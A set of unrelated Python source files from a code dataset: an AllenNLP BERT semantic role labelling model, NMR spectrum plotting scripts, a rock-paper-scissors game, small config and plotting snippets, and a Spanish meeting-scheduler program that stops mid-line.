# for verb, because the verb index is provided to the model.\n self.span_metric = SpanBasedF1Measure(vocab, tag_namespace=\"labels\", ignore_classes=[\"V\"])\n self.tag_projection_layer = Linear(self.bert_model.config.hidden_size * 2, self.num_classes)\n\n self.embedding_dropout = Dropout(p=embedding_dropout)\n self._label_smoothing = label_smoothing\n self.ignore_span_metric = ignore_span_metric\n initializer(self)\n\n def forward(self, # type: ignore\n tokens: Dict[str, torch.Tensor],\n verb_indicator: torch.Tensor,\n metadata: List[Any],\n tags: torch.LongTensor = None):\n # pylint: disable=arguments-differ\n \"\"\"\n Parameters\n ----------\n tokens : Dict[str, torch.LongTensor], required\n The output of ``TextField.as_array()``, which should typically be passed directly to a\n ``TextFieldEmbedder``. For this model, this must be a `SingleIdTokenIndexer` which\n indexes wordpieces from the BERT vocabulary.\n verb_indicator: torch.LongTensor, required.\n An integer ``SequenceFeatureField`` representation of the position of the verb\n in the sentence. This should have shape (batch_size, num_tokens) and importantly, can be\n all zeros, in the case that the sentence has no verbal predicate.\n tags : torch.LongTensor, optional (default = None)\n A torch tensor representing the sequence of integer gold class labels\n of shape ``(batch_size, num_tokens)``\n metadata : ``List[Dict[str, Any]]``, optional, (default = None)\n metadata containg the original words in the sentence, the verb to compute the\n frame for, and start offsets for converting wordpieces back to a sequence of words,\n under 'words', 'verb' and 'offsets' keys, respectively.\n\n Returns\n -------\n An output dictionary consisting of:\n logits : torch.FloatTensor\n A tensor of shape ``(batch_size, num_tokens, tag_vocab_size)`` representing\n unnormalised log probabilities of the tag classes.\n class_probabilities : torch.FloatTensor\n A tensor of shape ``(batch_size, num_tokens, tag_vocab_size)`` representing\n a distribution of the tag classes per word.\n loss : torch.FloatTensor, optional\n A scalar loss to be optimised.\n \"\"\"\n mask = get_text_field_mask(tokens)\n bert_embeddings, _ = self.bert_model(input_ids=tokens[\"tokens\"],\n token_type_ids=verb_indicator,\n attention_mask=mask,\n output_all_encoded_layers=False)\n conditional_semanticbert_embeddings, _ = self.conditional_semanticbert(input_ids=tokens[\"tokens\"],\n token_type_ids=verb_indicator,\n attention_mask=mask,\n output_all_encoded_layers=False)\n bert_embeddings = torch.cat([bert_embeddings, conditional_semanticbert_embeddings], dim=-1)\n embedded_text_input = self.embedding_dropout(bert_embeddings)\n batch_size, sequence_length, _ = embedded_text_input.size()\n logits = self.tag_projection_layer(embedded_text_input)\n\n reshaped_log_probs = logits.view(-1, self.num_classes)\n class_probabilities = F.softmax(reshaped_log_probs, dim=-1).view([batch_size,\n sequence_length,\n self.num_classes])\n output_dict = {\"logits\": logits, \"class_probabilities\": class_probabilities}\n if tags is not None:\n loss = sequence_cross_entropy_with_logits(logits,\n tags,\n mask,\n label_smoothing=self._label_smoothing)\n if not self.ignore_span_metric:\n self.span_metric(class_probabilities, tags, mask)\n output_dict[\"loss\"] = loss\n\n # We need to retain the mask in the output dictionary\n # so that we can crop the sequences to remove padding\n # when we do viterbi inference in self.decode.\n output_dict[\"mask\"] = mask\n\n # We add in the offsets here so we can compute the un-wordpieced tags.\n words, verbs, offsets = zip(*[(x[\"words\"], x[\"verb\"], x[\"offsets\"]) for x in metadata])\n output_dict[\"words\"] = list(words)\n output_dict[\"verb\"] = list(verbs)\n output_dict[\"wordpiece_offsets\"] = list(offsets)\n return output_dict\n\n @overrides\n def decode(self, output_dict: Dict[str, torch.Tensor]) -> Dict[str, torch.Tensor]:\n \"\"\"\n Does constrained viterbi decoding on class probabilities output in :func:`forward`. The\n constraint simply specifies that the output tags must be a valid BIO sequence. We add a\n ``\"tags\"`` key to the dictionary with the result.\n\n NOTE: First, we decode a BIO sequence on top of the wordpieces. This is important; viterbi\n decoding produces low quality output if you decode on top of word representations directly,\n because the model gets confused by the 'missing' positions (which is sensible as it is trained\n to perform tagging on wordpieces, not words).\n\n Secondly, it's important that the indices we use to recover words from the wordpieces are the\n start_offsets (i.e offsets which correspond to using the first wordpiece of words which are\n tokenized into multiple wordpieces) as otherwise, we might get an ill-formed BIO sequence\n when we select out the word tags from the wordpiece tags. This happens in the case that a word\n is split into multiple word pieces, and then we take the last tag of the word, which might\n correspond to, e.g, I-V, which would not be allowed as it is not preceeded by a B tag.\n \"\"\"\n all_predictions = output_dict['class_probabilities']\n sequence_lengths = get_lengths_from_binary_sequence_mask(output_dict[\"mask\"]).data.tolist()\n\n if all_predictions.dim() == 3:\n predictions_list = [all_predictions[i].detach().cpu() for i in range(all_predictions.size(0))]\n else:\n predictions_list = [all_predictions]\n wordpiece_tags = []\n word_tags = []\n transition_matrix = self.get_viterbi_pairwise_potentials()\n start_transitions = self.get_start_transitions()\n # **************** Different ********************\n # We add in the offsets here so we can compute the un-wordpieced tags.\n for predictions, length, offsets in zip(predictions_list,\n sequence_lengths,\n output_dict[\"wordpiece_offsets\"]):\n max_likelihood_sequence, _ = viterbi_decode(predictions[:length], transition_matrix,\n allowed_start_transitions=start_transitions)\n tags = [self.vocab.get_token_from_index(x, namespace=\"labels\")\n for x in max_likelihood_sequence]\n\n wordpiece_tags.append(tags)\n word_tags.append([tags[i] for i in offsets])\n output_dict['wordpiece_tags'] = wordpiece_tags\n output_dict['tags'] = word_tags\n return output_dict\n\n def get_metrics(self, reset: bool = False):\n if self.ignore_span_metric:\n # Return an empty dictionary if ignoring the\n # span metric\n return {}\n\n else:\n metric_dict = self.span_metric.get_metric(reset=reset)\n\n # This can be a lot of metrics, as there are 3 per class.\n # we only really care about the overall metrics, so we filter for them here.\n return {x: y for x, y in metric_dict.items() if \"overall\" in x}\n\n def get_viterbi_pairwise_potentials(self):\n \"\"\"\n Generate a matrix of pairwise transition potentials for the BIO labels.\n The only constraint implemented here is that I-XXX labels must be preceded\n by either an identical I-XXX tag or a B-XXX tag. In order to achieve this\n constraint, pairs of labels which do not satisfy this constraint have a\n pairwise potential of -inf.\n\n Returns\n -------\n transition_matrix : torch.Tensor\n A (num_labels, num_labels) matrix of pairwise potentials.\n \"\"\"\n all_labels = self.vocab.get_index_to_token_vocabulary(\"labels\")\n num_labels = len(all_labels)\n transition_matrix = torch.zeros([num_labels, num_labels])\n\n for i, previous_label in all_labels.items():\n for j, label in all_labels.items():\n # I labels can only be preceded by themselves or\n # their corresponding B tag.\n if i != j and label[0] == 'I' and not previous_label == 'B' + label[1:]:\n transition_matrix[i, j] = float(\"-inf\")\n return transition_matrix\n\n\n def get_start_transitions(self):\n \"\"\"\n In the BIO sequence, we cannot start the sequence with an I-XXX tag.\n This transition sequence is passed to viterbi_decode to specify this constraint.\n\n Returns\n -------\n start_transitions : torch.Tensor\n The pairwise potentials between a START token and\n the first token of the sequence.\n \"\"\"\n all_labels = self.vocab.get_index_to_token_vocabulary(\"labels\")\n num_labels = len(all_labels)\n\n start_transitions = torch.zeros(num_labels)\n\n for i, label in all_labels.items():\n if label[0] == \"I\":\n start_transitions[i] = float(\"-inf\")\n\n return start_transitions\n","sub_path":"allennlp-experiments/models/srl_conditional_semantic_bert.py","file_name":"srl_conditional_semantic_bert.py","file_ext":"py","file_size_in_byte":16322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"475305581","text":"# %%\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit, minimize, leastsq\nimport glob, os\nimport sys\nhome_dir = \"/home/karajan/uni/master/analyse\"\nsys.path.append(\n os.path.abspath(\"/home/karajan/uni/master/analyse/data/170918/plots\"))\nfrom nmr_lib import *\n\n\n# %%\ndef plot_setup():\n # plt.style.use(\"ggplot\")\n plt.grid(True)\n\nplot_setup()\n\n\n# %%\ndef plot_spek(directory, take):\n plt.xscale(\"linear\")\n plt.xlabel(\"Frequenz [Hz]\")\n plt.ylabel(\"Amplitude [normiert]\")\n plt.title(\"Spektren 305K\")\n plt.xlim(-1e5, 1e5)\n\n spek_dirs = np.take(sorted(glob.glob(directory + \"/*/\")), take)\n for i, spek_dir in enumerate(spek_dirs):\n tau = get_tau(spek_dir)\n freq, real, imag = load_spek(spek_dir)\n real /= np.max(real)\n\n plt.plot(freq, real, label=tau)\n\n\n# %%\ndef fwhm(directory):\n axarr[0].grid(True)\n # axarr[0].xscale(\"log\")\n # axarr[0].set_xlabel(\"log(tau/s)\")\n axarr[0].set_ylabel(\"FWHM [kHz]\")\n # plt.title(\"FWHM\")\n\n temps, fwhms = load_FWHMs(directory)\n taus = np.zeros(fwhms.shape)\n\n spek_dirs = sorted(glob.glob(directory + \"/*/\"))[:fwhms.shape[0]]\n for i, spek_dir in enumerate(spek_dirs):\n taus[i] = get_tau(spek_dir)\n temp = get_temperature(spek_dir)\n\n p_value, p_error, fit = fit_spek(taus, fwhms, p0=[40e3, 1e-3, 1.0, 1e3])\n print(temp, p_value[1], p_error[1],\n p_value[2], p_error[2],\n p_value[0], p_error[0],\n p_value[3], p_error[3])\n\n color = plt.gca()._get_lines.get_next_color()\n x = np.geomspace(1e-5, 2e-2)\n # fit = kohlrausch(x, p_value[0], p_value[1], p_value[2], p_value[3])\n axarr[0].plot(taus, fwhms/1e3, label=temp, color=color)\n # plt.plot(x, fit/1e3, color=color)\n\n # show_plot()\n\n\n# %%\ndef diff(directory):\n axarr[1].grid(True)\n # axarr[1].xscale(\"log\")\n # axarr[1].set_xlabel(\"log(tau/s)\")\n axarr[1].set_ylabel(\"Difference [nomalized]\")\n # plt.title(\"Difference at FWHM\")\n\n spek_dirs = sorted(glob.glob(directory + \"/*/\"))\n freq, comparison_real, comparison_imag = load_spek(spek_dirs[0])\n\n temps, fwhms = load_FWHMs(directory)\n taus = np.zeros(fwhms.shape)\n left = np.zeros(fwhms.shape)\n right = np.zeros(fwhms.shape)\n\n temp = get_temperature(spek_dirs[0])\n\n for i, spek_dir in enumerate(spek_dirs[:fwhms.shape[0]]):\n taus[i] = get_tau(spek_dir)\n left[i], right[i] = calc_spek_diff(comparison_real, spek_fn=spek_dir)\n\n axarr[1].plot(taus, 0.5 - left)\n # plt.plot(taus, right, label=temp, ls=\"-.\")\n \n\n# %%\ndef diff2(directory):\n plt.grid(True)\n plt.xscale(\"log\")\n # plt.xlabel(\"log(tau/s)\")\n plt.ylabel(\"Difference [nomalized]\")\n # plt.title(\"Difference at FWHM\")\n\n spek_dirs = sorted(glob.glob(directory + \"/*/\"))\n\n taus, left = np.loadtxt(glob.glob(directory + \"/*.data\")[0], unpack=True)\n temp = get_temperature(spek_dirs[0])\n\n # bounds=(-np.inf, np.inf)\n p_value, p_error, fit = fit_spek(taus, left, p0=[-1.0, 1e-2, 1.0, 0.5],\n bounds=([-1.5, 0.0, 0.0, 0.4], [-0.5, 1.0, 10.0, 0.6]))\n print(temp, p_value[1], p_error[1],\n p_value[2], p_error[2],\n p_value[0], p_error[0],\n p_value[3], p_error[3])\n\n x = np.geomspace(1e-5, 1e-2)\n fit = kohlrausch(x, p_value[0], p_value[1], p_value[2], p_value[3])\n\n # color = plt.gca()._get_lines.get_next_color()\n\n plt.plot(x, fit, color=color)\n # plt.gca().set_color_cycle(None)\n plt.scatter(taus, left, label=temp, color=color)\n # plt.plot(taus, left, label=temp, color=color)\n # plt.plot(taus, right*2, label=temp, ls=\"-.\")\n\n\n# %%\ndef analyze_data(directory, label):\n axarr[2].grid(True)\n # axarr[2].xscale(\"log\")\n # axarr[2].set_xlabel(\"log(tau/s)\")\n axarr[2].set_ylabel(\"Amplitude [a.u.]\")\n # plt.title(\"T_2\")\n # directory = \"/home/jens/Documents/projekte/crn/170731/T2/1400_CRN_T2_360K\"\n os.chdir(directory)\n\n tau, real, real_err, imag, imag_err = load_data()\n cmplx = to_cmplx(real, imag)\n phase, cmplx = phase_fit(cmplx, 15)\n tau, cmplx = sort_values(tau, cmplx)\n\n # cmplx, tau = select_data(0, 2e-5, cmplx, indexor=tau, remove=True, select_indexor=True)\n # print(tau)\n cmplx = cmplx[1:]\n tau = tau[1:]\n real_err = real_err[1:]\n # print(tau)\n\n temp = get_temperature(directory)\n experiment_number = get_experiment_number(directory)\n\n try:\n p_value, p_error, fit = fit_t2(tau, cmplx, sigma=real_err)\n print(experiment_number, temp, phase, p_value[1], p_error[1],\n p_value[2], p_error[2],\n p_value[0], p_error[0],\n p_value[3], p_error[3])\n # plot_fit(tau, fit, p_value)\n except Exception as e:\n print(e)\n print(str(experiment_number) + \": fit failed\")\n\n # plot_setup()\n color = plt.gca()._get_lines.get_next_color()\n axarr[2].plot(tau, np.abs(cmplx), color=color, label=temp)\n\n\n# plot_limits(xmin=-250, xmax=250)\n\n\n# %%\nprint(\"# Messungs_ID Temperature[K] tau[s] tau_error Beta Beta_error M0 M0_error Moff Moff_err\")\n\nplt.title(\"beta-Suche\")\nf, axarr = plt.subplots(3, sharex=True)\nplt.xscale(\"log\")\n\n\n\n# %%\n# show spectra\ndir_305 = home_dir + \"/data/170918/SPEKkombiniert/temp_abh/305K\"\nplot_spek(dir_305, [0, 10, 11, 12])\n\n# dir_325 = home_dir + \"/data/170918/SPEKkombiniert/temp_abh/325K\"\n# plot_spek(dir_325)\n\n# dir_345 = home_dir + \"/data/170918/SPEKkombiniert/temp_abh/345K\"\n# plot_spek(dir_345)\n# plt.subplot(311)\n# for i, directory in enumerate(sorted(glob.glob(all_dirs + \"/*/\"))):\n# plot_spek(directory)\n # fwhm(directory)\n # diff(directory)\n # diff2(directory)\n # pass\n\n\n# %%\nall_dirs = home_dir + \"/data/170918/SPEKkombiniert/temp_abh/305K\"\n# plt.subplot(311)\nfor i, directory in enumerate(sorted(glob.glob(all_dirs + \"/*/\"))):\n plot_spek(directory)\n # fwhm(directory)\n # diff(directory)\n # diff2(directory)\n # pass\n\n# %%\nplt.gca().set_prop_cycle(None)\n# plt.subplot(312)\nfor i, directory in enumerate(sorted(glob.glob(all_dirs + \"/*/\"))):\n # plot_spek(directory)\n diff(directory)\n\n# %%\nplt.gca().set_prop_cycle(None)\n# plt.subplot(313)\nhome_dir = \"/home/jens/Documents/projekte/crn/170912/T2\"\nfor i, directory in enumerate(sorted(glob.glob(home_dir + \"/*/\"))):\n analyze_data(directory, \"\")\n\n# plot_spek(\"/home/jens/Documents/projekte/crn/170918/SPEKkombiniert/temp_abh/305K\")\n\n# %%\nplt.xlabel(\"log(tau/s)\")\nplt.xlim(0, 0.75e-2)\n# plt.ylim(-0.05, 0.7)\n# save_plot(\"/home/jens/Documents/projekte/crn/170918/plots/spek3\")\nshow_plot()\n\n","sub_path":"analyse/data/170918/plots/crn_spek_pulslenabh.py","file_name":"crn_spek_pulslenabh.py","file_ext":"py","file_size_in_byte":6666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"443354155","text":"def main(args):\n # Dictionary for choosing the desired algorithm\n algorithm = {'walk': None, 'hill_climbing': None,\n '-dpll': None\n }\n\n # If no algorithm is chosen, always go with uniform cost search\n desired_alg = SearchAgent.uniformCostSearch\n\n # Debug mode is always off, if nothing more is said\n debug = False\n\n # Check arguments inserted on the command line\n if len(args) >= 4:\n modes = args[3:len(args)]\n for m in modes:\n if m == '-d':\n debug = True\n elif m in algorithm.keys():\n desired_alg = algorithm[m]\n\n # Create the map object for this file\n try:\n earth = World()\n earth.from_file(args[1])\n except FileNotFoundError:\n print(\".map file does not exist.\")\n\n # Create the client requests object for this file\n try:\n clients = Pawns(earth)\n clients.from_file(args[2])\n except FileNotFoundError:\n print(\".cli file does not exist.\")\n\n #Search Procedure\n if debug is True:\n print('>>> RUN SEARCH')\n i = 1\n towrite = []\n for c in clients:\n\n # Search algorithm\n plan = desired_alg(c)\n towrite.append(plan)\n\n # For debugging on terminal only\n if debug is True:\n print('>> client: '+str(i))\n i += 1\n print(c.writeActions(plan))\n\n # Write result to file\n clients.to_file(towrite)\n\nif __name__ == \"__main__\":\n main(sys.argv)","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"337748377","text":"import os\n\n# 프로젝트의 루트 디렉터리\nBASE_DIR = os.path.dirname(__file__)\n\n# 데이터 베이스 접속 주소\nSQLALCHEMY_DATABASE_URI = 'sqlite:///{}'.format(os.path.join(BASE_DIR, 'pybo.db'))\n\n# 이벤트를 처리하는 옵션\nSQLALCHEMY_TRACK_MODIFICATIONS = False\n\n","sub_path":"project/myproject/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"401106679","text":"#!/usr/bin/python3\n# Rock Paper Scissors Project\n# Brandon Yee, 9/3/16\nfrom random import randint\n\nuserWon, computerWon, ties = 0, 0, 0\nelements = (\"rock\", \"paper\", \"scissors\")\n\ndef askUser ():\n # ask user\n checkInput(input(\"Rock, paper, or scissors? \"))\n\ndef genRandom (randomInt):\n global elements\n return elements[randomInt]\n\ndef checkInput (userInput):\n global elements\n if userInput == \"\":\n return\n if userInput in elements:\n calcResults(userInput, genRandom(randint(0,2)))\n else:\n print(\"That's not an option.\")\n askUser()\n\ndef calcResults (userInput, computerInput):\n global userWon, computerWon, ties\n ui, ci = elements.index(userInput), elements.index(computerInput)\n\n if userInput == \"rock\":\n userWon += (0, 0, 1)[ci]\n computerWon += (0, 1, 0)[ci]\n ties += (1, 0, 0)[ci]\n elif userInput == \"paper\":\n userWon += (1, 0, 0)[ci]\n computerWon += (0, 0, 1)[ci]\n ties += (0, 1, 0)[ci]\n elif userInput == \"scissors\":\n userWon += (0, 1, 0)[ci]\n computerWon += (1, 0, 0)[ci]\n ties += (0, 0, 1)[ci]\n\n tellUser(userInput, computerInput)\n\ndef tellUser (userInput, computerInput):\n global userWon, computerWon, ties\n print(\"You chose: \" + userInput + \" and the computer chose: \" + computerInput + \"\\n\")\n print(\"You have won %d game%s\" % (userWon, \"\"))\n print(\"The computer has won %d game%s\" % (computerWon, \"\"))\n print(\"There have been %d tie%s.\\n\" % (ties, \"\"))\n userWantsTo = input(\"Play again? [Y/n] \")\n if userWantsTo == \"y\" or \"Y\":\n askUser()\n\nprint(\"This is a game of rock paper scissors. Please make a choice.\\n\")\naskUser()\n\n\n","sub_path":"OTP/rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"595146141","text":"import pygame\r\nfrom pygame.locals import *\r\n\r\npygame.init()\r\nvec = pygame.math.Vector2 # 2 for two dimensional\r\n\r\nHEIGHT = 450\r\nWIDTH = 400\r\nACC = 0.5\r\nFRIC = -0.12\r\nFPS = 60\r\n\r\nFramePerSec = pygame.time.Clock()\r\n\r\ndisplaysurface = pygame.display.set_mode((WIDTH, HEIGHT))\r\npygame.display.set_caption(\"Game\")\r\n","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"189143638","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\nx1 = np.array([-1, -1])\nx2 = np.array([1, 0])\nx3 = np.array([-1, 1.5])\n\ny1 = 1\ny2 = -1\ny3 = 1\n\nx_data = [x1, x2, x3]\n\ny_data = [y1, y2, y3]\n\nplt.scatter(x_data[:,1], x_data[:,0])\nplt.show()\n","sub_path":"homework1/exe001.py","file_name":"exe001.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"503197016","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n# 风格的设置\nprint(plt.style.available)\n\nx = np.linspace(-10, 10)\ny = np.sin(x)\n# plt.style.use('ggplot')\n# plt.plot(x, y)\n\nplt.xkcd()\nplt.plot(x, y)\n\nplt.show()\n\n","sub_path":"study/04-matpolib/style_graph.py","file_name":"style_graph.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"208342558","text":"#¡Saludos Elena! Esta es la versión mejorada del ejercicio opcional. He intentado seguir todas tus directrices\n#y modularizar el programa todo lo posible, con funciones reutilizables (en una semana). ¡Espero que te guste!\n\n\n#Clase básica de la reunion\nclass Reunion():\n def __init__(self, duracion, asunto, asistentes):\n # ¡¡IMPORTANTE!! El formato duración va en minutos de 30 en 30 0 de 60 en 60\n self.duracion = duracion\n self.asunto = asunto\n self.asistentes = asistentes\n \n### SUBPROGRAMAS ###\n\ndef añadirAsistente(agenda, fecha, nuevo_asistente):\n \"\"\" dic, str, str -> dic\n OBJ: añade un asistente a un evento indicado con fecha y hora. Si esa persona ya esta, se muestr a un mensaje de error\n \"\"\"\n \n if nuevo_asistente in agenda[fecha].asistentes:\n print(\"Error. Esa persona ya asiste a la reunión.\")\n \n else:\n agenda[fecha].asistentes.append(nuevo_asistente) \n \n return agenda\n \n\ndef extraerHora(fecha):\n \"\"\" str -> str\n OBJ: extrae la parte de la hora del formato fecha del programa sin la parte del dia/mes/año\n \"\"\" \n return fecha.split(\",\")[1].split(\" \")[1]\n\ndef calcularInicio (hora_inicio):\n \"\"\" str, int -> int\n OBJ: develve la posicion extacta en la matriz 48 donde inicia\n \"\"\"\n hora = int(hora_inicio.split(\":\")[0])\n minutos = int(hora_inicio.split(\":\")[1])\n \n posicion_inicio = hora *2\n \n if minutos == 30:\n posicion_inicio += 1\n \n return posicion_inicio\n\ndef calcularFinalizacion(hora_inicio, duracion):\n \"\"\" str, int -> int\n OBJ: devuelve la posicion exacta en la matriz 48 donde debe de finalizar \n \"\"\"\n \n hora = int(hora_inicio.split(\":\")[0])\n minutos = int(hora_inicio.split(\":\")[1])\n \n posicion_final = (int(hora) + int(duracion) // 60)*2\n \n if minutos == 30:\n posicion_final += 1\n \n if int(duracion) % 60 == 30:\n posicion_final += 1\n \n return posicion_final \n\ndef extraerDia(fecha):\n \"\"\" str -> str\n OBJ: recibe un formato fecha y devuelve solo la parte del dia sin hora\n \"\"\" \n \n return fecha.split(\",\")[0]\n\ndef obtenerListaReunionDia(agenda, fecha):\n \"\"\" dic, str -> dyc\n OBJ: Muestra las reuniones de un dia en concreto\n \"\"\"\n lista_reuniones = {}\n dia = extraerDia(fecha)\n \n fechas = list(agenda.keys())\n \n for i in range(len(fechas)):\n if dia in fechas[i]:\n lista_reuniones[fechas[i]] = agenda[fechas[i]]\n \n return lista_reuniones\n \n\n\ndef extraerFechasReuniones(agenda):\n \"\"\" dic -> list\n OBJ: obtiene las fechas y horas completas de las reuiones\n \"\"\"\n\n return list(agenda.keys())\n\ndef extraerDiasReuniones(agenda):\n \"\"\" dic -> list\n OBJ: le pasas un diccionario con claves fechas formato y deuvelve una lista con los dias\n \"\"\"\n \n fechas = list(agenda.keys())\n \n dias_reuniones = []\n \n for i in range(len(fechas)):\n dias_reuniones.append(fechas[i].split(\",\")[0])\n \n return dias_reuniones\n\ndef calcularHora(agenda, duracion, reunion):\n \"\"\" dic, int, dic -> str\n OBJ: calcula una hora determinada de finalizacion de una reunion\n \"\"\"\n hora = \"00\"\n minutos = \"00\"\n \n hora_inicio = extraerHora(reunion)\n duracion = agenda[reunion].duracion\n posicion_finalizacion = calcularFinalizacion(hora_inicio, duracion)\n \n hora = str(posicion_finalizacion // 2)\n if posicion_finalizacion % 2 != 0:\n minutos = \"30\"\n \n return hora + \":\" + minutos\n\ndef averiguarDuracion (agenda, fecha):\n \"\"\" dic, str -> str\n OBJ: calcular la hora de finalizacion de la reunion mas larga del dia\n \"\"\"\n \n dia = extraerDia(fecha)\n reuniones_dia = obtenerListaReunionDia(agenda, fecha)\n \n duracion_mas_larga = 0\n reunion_mas_larga = None \n \n for reunion in reuniones_dia.keys():\n if reuniones_dia[reunion].duracion >= duracion_mas_larga:\n duracion_mas_larga = reuniones_dia[reunion].duracion\n reunion_mas_larga = reunion\n\n \n return calcularHora(agenda, duracion_mas_larga, reunion_mas_larga)\n\ndef buscarReunionPorAsunto(agenda,asunto):\n \"\"\" dic, str -> registro\n OBJ: busca una reunion por asunto y la primera que encuentra la devuelve\n \"\"\"\n \n reuniones = extraerFechasReuniones(agenda)\n evento = {}\n encontrado = False\n i = 0\n \n while i <= len(reuniones) and not encontrado:\n try:\n if agenda[reuniones[i]].asunto == asunto:\n encontrado = True\n evento[reuniones[i]] = agenda[reuniones[i]]\n\n i += 1\n except:\n encontrado = True\n \n return evento\n\ndef borrarReunion(agenda, fecha):\n \"\"\" dyc, str -> tuple\n OBJ: borra una renion y si es la unica reunion del dia la borra del calendario\n sino cambia sus horas a False\n \"\"\"\n \n dia_reunion = extraerDia(fecha)\n lista_reuniones_dia = obtenerListaReunionDia(agenda,dia)\n \n if len(lista_reuniones_dia) == 1:\n del calendario[dia_reunion]\n else:\n hora_inicio = extraerHora(fecha)\n duracion = agenda[fecha].duracion\n posicion_inicio = calcularInicio(hora_inicio)\n posicion_finalizacion = calcularFinalizacion(hora_inicio, duracion)\n \n for i in range(posicion_inicio, posicion_finalizacion):\n if calendario[dia_reunion][i] == True:\n calendario[dia_reunion][i] = False \n \n \n lista_asistentes = agenda[fecha].asistentes\n del agenda[fecha]\n \n return agenda, calendario, lista_asistentes\n\ndef crearCalendario(agenda):\n \"\"\" dic, dic -> dic\n OBJ: Crea una matriz de len 48 para cada dia evento que haya en la agenda\n \"\"\"\n calendario = {}\n dias_calendario = extraerDiasReuniones(calendario)\n \n for reunion in agenda.keys():\n if extraerDia(reunion) not in dias_calendario:\n calendario[extraerDia(reunion)] = [False]*48\n \n return calendario \n\ndef inicializarCalendario(agenda):\n \"\"\" dic, dic -> dic\n OBJ: Coloca las horas de las reuniones en el calendario con TRUE\n \"\"\"\n calendario = crearCalendario(agenda)\n \n for reunion in agenda.keys():\n \n dia_reunion = extraerDia(reunion)\n hora_inicio = extraerHora(reunion)\n duracion = agenda[reunion].duracion\n posicion_inicio = calcularInicio(hora_inicio)\n posicion_finalizacion = calcularFinalizacion(hora_inicio, duracion)\n\n \n for i in range(posicion_inicio, posicion_finalizacion):\n if calendario[dia_reunion][i] == False:\n calendario[dia_reunion][i] = True \n \n return calendario\n \ndef crearReunionFormatoRapido(agenda, informacion, calendario):\n \"\"\" dic, str -> dic\n OBJ: crea una reunion con un formato rapido\n \"\"\"\n \n informacion_reunion = informacion.split(\"-\")\n print(informacion_reunion)\n\n fecha_reunion = informacion_reunion[0] + \", \" + informacion_reunion[1]\n duracion_reunion = informacion_reunion[2]\n asunto_reunion = informacion_reunion[3]\n asistentes_reunion = informacion_reunion[4].split(\",\")\n \n nueva_reunion = Reunion(duracion_reunion, asunto_reunion, asistentes_reunion)\n \n crearReunion(agenda, calendario, fecha_reunion, nueva_reunion)\n \n return agenda\n \n\n\ndef crearDia(duracion, fecha, dia):\n \"\"\" str -> list\n OBJ: crea una nueva matriz y coloca a True las horas\n \"\"\"\n horas = [False] *48\n \n hora_inicio = extraerHora(fecha)\n posicion_inicio = calcularInicio(hora_inicio)\n posicion_finalizacion = calcularFinalizacion(hora_inicio, duracion)\n\n \n for i in range(posicion_inicio, posicion_finalizacion):\n if horas[i] == False:\n horas[i] = True\n \n return horas\n\ndef modificarDia(dia,calendario, duracion, fecha):\n \"\"\" str, dic, int, str -> list\n OBJ: Modifica un dia ya existente con las nuevas horas tomadas\n \"\"\"\n horas = calendario[dia]\n \n hora_inicio = extraerHora(fecha)\n posicion_inicio = calcularInicio(hora_inicio)\n posicion_finalizacion = calcularFinalizacion(hora_inicio, duracion)\n\n \n for i in range(posicion_inicio, posicion_finalizacion):\n if horas[i] == False:\n horas[i] = True\n \n return horas\n\ndef comprobarChoque(dia,calendario, duracion, fecha):\n \"\"\" str, dic, int, str -> bool\n OBJ: Comprueba si hay choques de horas al crear un evento\n \"\"\"\n choque = False \n \n horas = calendario[dia]\n \n hora_inicio = extraerHora(fecha)\n posicion_inicio = calcularInicio(hora_inicio)\n posicion_finalizacion = calcularFinalizacion(hora_inicio, duracion)\n\n \n for i in range(posicion_inicio, posicion_finalizacion):\n if horas[i] == False and choque == False:\n horas[i] = True\n else:\n choque = True\n \n return choque\n\ndef crearReunion(agenda, calendario, fecha, reunion):\n \n dia = extraerDia(fecha)\n dias_agendados = extraerDiasReuniones(agenda)\n duracion = reunion.duracion\n \n if fecha not in agenda.keys():\n if dia not in dias_agendados:\n agenda[fecha] = reunion\n calendario[dia] = crearDia(duracion, fecha,dia)\n else:\n if not comprobarChoque(dia,calendario, duracion, fecha):\n agenda[fecha] = reunion\n calendario[dia] = modificarDia(dia,calendario, duracion, fecha)\n if comprobarChoque(dia,calendario, duracion, fecha):\n print(\"No se ha podido crear el nuevo evento\")\n else:\n print(\"Error. Fecha no disponible\")\n \n return agenda, calendario\n \n\n#Reuniones de Prueba\n\n # ¡¡IMPORTANTE!! El formato duración va en minutos de 30 en 30\n\nr1 = Reunion(90, \"Analisis\", [\"Pepe\", \"Marcos\"] )\nr2 = Reunion(120, \"Definición\", [\"Juan\", \"Marcos\"] )\nr3 = Reunion(90, \"Definición\", [\"Juan\", \"Marcos\"] )\n \n#Agenda Principal\nagenda={\"10/10/2018, 00:00\": r1, \"10/10/2018, 10:00\": r2}\n\n#Inicializado del calendario Principal\ncalendario = inicializarCalendario(agenda)\n\n#Añadido de eventos a la agenda, con diferentes situaciones\nagenda, calendario = crearReunion(agenda, calendario, \"11/10/2018, 01:00\",r3)\n\n#Crear una reunion por formato rapido\ninformacion = \"14/10/2018-00:00-180-Clasificación Actas-Pepe,Luis,Ana,Maria\"\nagenda = crearReunionFormatoRapido(agenda, informacion, calendario)\n\n\n#Añadir un nuevo Asistente\n\"\"\"\nfecha = \"10/10/2018, 00:00\"\nasistente= \"Juan\"\nagenda = 